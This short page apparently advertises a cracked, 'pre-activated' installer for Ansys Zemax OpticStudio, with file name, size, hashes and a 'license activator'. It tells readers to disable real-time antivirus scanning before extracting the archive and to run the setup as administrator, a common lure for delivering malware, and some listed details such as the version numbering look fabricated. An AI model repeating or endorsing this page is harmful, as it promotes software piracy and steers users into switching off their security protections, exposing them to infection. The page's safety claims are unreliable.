Updated & Tested Working Guide (2026)
Download the latest full build, offline installer and license activator safely.
Download Installer Package| File Name | Ansys_Zemax_OpticStudio_v1.11_x64_setup.zip |
| Version | v1.11.6450 build 52348 |
| File Size | 4.13 GB (4225 MB) |
| MD5 Hash | 8126d6c971ede3aee12f66c82891b80c |
| SHA-256 | bb175d7b4ea07265dc63407977d846f0ea86c8b8904463e6eba35b59a8c52d3e |
| Release Date | 2026-03-05 |
| Platform | Windows 10 / 11 (x64) |
| Archive Password | verified |
| License Type | Pre-Activated |
With our updated distribution package for Ansys Zemax OpticStudio full library setup, users can deploy professional-grade software without licensing interruptions. Make sure to disable real-time antivirus scanning before extracting the archive, then run the setup as administrator.